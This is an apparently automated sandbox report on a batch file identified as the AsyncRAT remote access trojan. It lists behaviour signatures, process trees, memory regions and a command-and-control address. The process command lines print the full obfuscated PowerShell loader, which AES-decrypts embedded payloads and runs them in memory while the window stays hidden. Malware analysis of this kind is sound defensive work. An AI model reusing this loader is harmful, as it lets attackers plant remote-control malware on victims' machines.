Analysis Overview
SHA256
40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1
Threat Level: Known bad
The file 40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Blocklisted process makes network request
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2024-04-17 12:58
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-17 12:58
Reported
2024-04-17 13:05
Platform
win10v2004-20240412-en
Max time kernel
167s
Max time network
201s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3312 wrote to memory of 3220 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3312 wrote to memory of 3220 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3220 wrote to memory of 5024 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3220 wrote to memory of 5024 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3220 wrote to memory of 4840 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3220 wrote to memory of 4840 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4840 wrote to memory of 3500 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4840 wrote to memory of 3500 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat';$ZFXl='SpUNVvliUNVvtUNVv'.Replace('UNVv', ''),'GeIQUWtCIQUWurIQUWrIQUWenIQUWtPrIQUWoceIQUWssIQUW'.Replace('IQUW', ''),'MaaWJUinMaWJUoaWJUdaWJUuaWJUleaWJU'.Replace('aWJU', ''),'CLsXAreaLsXAteDLsXAeLsXAcLsXAryLsXAptLsXAoLsXArLsXA'.Replace('LsXA', ''),'CJHTlhanJHTlgeEJHTlxJHTltJHTlensJHTliJHTlonJHTl'.Replace('JHTl', ''),'EOAqclOAqcemeOAqcntOAqcAtOAqc'.Replace('OAqc', ''),'IYYGanvYYGaokYYGaeYYGa'.Replace('YYGa', ''),'DJEwBeJEwBcJEwBomJEwBprJEwBesJEwBsJEwB'.Replace('JEwB', ''),'LoFiVZaFiVZdFiVZ'.Replace('FiVZ', ''),'EnfjTctfjTcrfjTcyPfjTcofjTcinfjTctfjTc'.Replace('fjTc', ''),'TroNkUanoNkUsfoNkUooNkUrmFoNkUinoNkUalBoNkUlooNkUckoNkU'.Replace('oNkU', ''),'RPrvjePrvjaPrvjdLiPrvjnePrvjsPrvj'.Replace('Prvj', ''),'FPluNrPluNomBPluNasPluNe6PluN4PluNStPluNrPluNinPluNgPluN'.Replace('PluN', ''),'CfvCYopfvCYyfvCYTofvCY'.Replace('fvCY', '');powershell -w hidden;function DnPdg($NpRVN){$PsFdV=[System.Security.Cryptography.Aes]::Create();$PsFdV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PsFdV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PsFdV.Key=[System.Convert]::($ZFXl[12])('XN3NfgiFnJwaec6stVIzE/BuRsj55jkY+1Zsiukr1l4=');$PsFdV.IV=[System.Convert]::($ZFXl[12])('c4L4meGWtdx5xW7a8N8/JA==');$PQhBD=$PsFdV.($ZFXl[3])();$tJweH=$PQhBD.($ZFXl[10])($NpRVN,0,$NpRVN.Length);$PQhBD.Dispose();$PsFdV.Dispose();$tJweH;}function gsaQk($NpRVN){$XgXaM=New-Object System.IO.MemoryStream(,$NpRVN);$xWVjE=New-Object System.IO.MemoryStream;$klffI=New-Object System.IO.Compression.GZipStream($XgXaM,[IO.Compression.CompressionMode]::($ZFXl[7]));$klffI.($ZFXl[13])($xWVjE);$klffI.Dispose();$XgXaM.Dispose();$xWVjE.Dispose();$xWVjE.ToArray();}$FZeYR=[System.IO.File]::($ZFXl[11])([Console]::Title);$mGUkZ=gsaQk (DnPdg ([Convert]::($ZFXl[12])([System.Linq.Enumerable]::($ZFXl[5])($FZeYR, 5).Substring(2))));$froPR=gsaQk (DnPdg ([Convert]::($ZFXl[12])([System.Linq.Enumerable]::($ZFXl[5])($FZeYR, 6).Substring(2))));[System.Reflection.Assembly]::($ZFXl[8])([byte[]]$froPR).($ZFXl[9]).($ZFXl[6])($null,$null);[System.Reflection.Assembly]::($ZFXl[8])([byte[]]$mGUkZ).($ZFXl[9]).($ZFXl[6])($null,$null); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.24.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.114.53.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| NL | 193.222.96.41:4449 | tcp | |
| US | 8.8.8.8:53 | 66.112.168.52.in-addr.arpa | udp |
| NL | 193.222.96.41:4449 | tcp | |
| NL | 193.222.96.41:4449 | tcp | |
| NL | 193.222.96.41:4449 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_egluhmcp.iac.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4840-9-0x000001B9AD3E0000-0x000001B9AD402000-memory.dmp
memory/4840-10-0x000001B9C5E00000-0x000001B9C5E44000-memory.dmp
memory/4840-11-0x000001B9C5ED0000-0x000001B9C5F46000-memory.dmp
memory/4840-12-0x00007FFC51710000-0x00007FFC521D1000-memory.dmp
memory/4840-13-0x000001B9ABA70000-0x000001B9ABA80000-memory.dmp
memory/4840-14-0x000001B9ABA70000-0x000001B9ABA80000-memory.dmp
memory/3500-15-0x00007FFC51710000-0x00007FFC521D1000-memory.dmp
memory/3500-16-0x000001BD33740000-0x000001BD33750000-memory.dmp
memory/3500-26-0x000001BD33740000-0x000001BD33750000-memory.dmp
memory/4840-27-0x00007FFC51710000-0x00007FFC521D1000-memory.dmp
memory/4840-29-0x000001B9ABA70000-0x000001B9ABA80000-memory.dmp
memory/4840-30-0x000001B9ABA70000-0x000001B9ABA80000-memory.dmp
memory/3500-31-0x00007FFC51710000-0x00007FFC521D1000-memory.dmp
memory/3500-34-0x00007FFC51710000-0x00007FFC521D1000-memory.dmp
memory/4840-35-0x000001B9C5BC0000-0x000001B9C5BC8000-memory.dmp
memory/4840-36-0x000001B9C5BD0000-0x000001B9C5BE0000-memory.dmp
memory/4840-37-0x000001B9C5E50000-0x000001B9C5E68000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-17 12:58
Reported
2024-04-17 13:05
Platform
win7-20240221-en
Max time kernel
122s
Max time network
126s
Command Line
Signatures
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2228 wrote to memory of 1684 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2228 wrote to memory of 1684 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2228 wrote to memory of 1684 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1684 wrote to memory of 2340 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1684 wrote to memory of 2340 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1684 wrote to memory of 2340 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1684 wrote to memory of 2348 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1684 wrote to memory of 2348 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1684 wrote to memory of 2348 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\40949bfd50832f026a1f9f6797c0bfa1f8b16698188fc42ca06b04340ba562c1.bat';$ZFXl='SpUNVvliUNVvtUNVv'.Replace('UNVv', ''),'GeIQUWtCIQUWurIQUWrIQUWenIQUWtPrIQUWoceIQUWssIQUW'.Replace('IQUW', ''),'MaaWJUinMaWJUoaWJUdaWJUuaWJUleaWJU'.Replace('aWJU', ''),'CLsXAreaLsXAteDLsXAeLsXAcLsXAryLsXAptLsXAoLsXArLsXA'.Replace('LsXA', ''),'CJHTlhanJHTlgeEJHTlxJHTltJHTlensJHTliJHTlonJHTl'.Replace('JHTl', ''),'EOAqclOAqcemeOAqcntOAqcAtOAqc'.Replace('OAqc', ''),'IYYGanvYYGaokYYGaeYYGa'.Replace('YYGa', ''),'DJEwBeJEwBcJEwBomJEwBprJEwBesJEwBsJEwB'.Replace('JEwB', ''),'LoFiVZaFiVZdFiVZ'.Replace('FiVZ', ''),'EnfjTctfjTcrfjTcyPfjTcofjTcinfjTctfjTc'.Replace('fjTc', ''),'TroNkUanoNkUsfoNkUooNkUrmFoNkUinoNkUalBoNkUlooNkUckoNkU'.Replace('oNkU', ''),'RPrvjePrvjaPrvjdLiPrvjnePrvjsPrvj'.Replace('Prvj', ''),'FPluNrPluNomBPluNasPluNe6PluN4PluNStPluNrPluNinPluNgPluN'.Replace('PluN', ''),'CfvCYopfvCYyfvCYTofvCY'.Replace('fvCY', '');powershell -w hidden;function DnPdg($NpRVN){$PsFdV=[System.Security.Cryptography.Aes]::Create();$PsFdV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$PsFdV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$PsFdV.Key=[System.Convert]::($ZFXl[12])('XN3NfgiFnJwaec6stVIzE/BuRsj55jkY+1Zsiukr1l4=');$PsFdV.IV=[System.Convert]::($ZFXl[12])('c4L4meGWtdx5xW7a8N8/JA==');$PQhBD=$PsFdV.($ZFXl[3])();$tJweH=$PQhBD.($ZFXl[10])($NpRVN,0,$NpRVN.Length);$PQhBD.Dispose();$PsFdV.Dispose();$tJweH;}function gsaQk($NpRVN){$XgXaM=New-Object System.IO.MemoryStream(,$NpRVN);$xWVjE=New-Object System.IO.MemoryStream;$klffI=New-Object System.IO.Compression.GZipStream($XgXaM,[IO.Compression.CompressionMode]::($ZFXl[7]));$klffI.($ZFXl[13])($xWVjE);$klffI.Dispose();$XgXaM.Dispose();$xWVjE.Dispose();$xWVjE.ToArray();}$FZeYR=[System.IO.File]::($ZFXl[11])([Console]::Title);$mGUkZ=gsaQk (DnPdg ([Convert]::($ZFXl[12])([System.Linq.Enumerable]::($ZFXl[5])($FZeYR, 5).Substring(2))));$froPR=gsaQk (DnPdg ([Convert]::($ZFXl[12])([System.Linq.Enumerable]::($ZFXl[5])($FZeYR, 6).Substring(2))));[System.Reflection.Assembly]::($ZFXl[8])([byte[]]$froPR).($ZFXl[9]).($ZFXl[6])($null,$null);[System.Reflection.Assembly]::($ZFXl[8])([byte[]]$mGUkZ).($ZFXl[9]).($ZFXl[6])($null,$null); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Network
Files
memory/2348-4-0x000007FEF6530000-0x000007FEF6ECD000-memory.dmp
memory/2348-5-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2348-6-0x000000001B3C0000-0x000000001B6A2000-memory.dmp
memory/2348-7-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2348-8-0x0000000002290000-0x0000000002298000-memory.dmp
memory/2348-9-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2348-10-0x000007FEF6530000-0x000007FEF6ECD000-memory.dmp
memory/2348-11-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2348-12-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2348-13-0x0000000002810000-0x0000000002890000-memory.dmp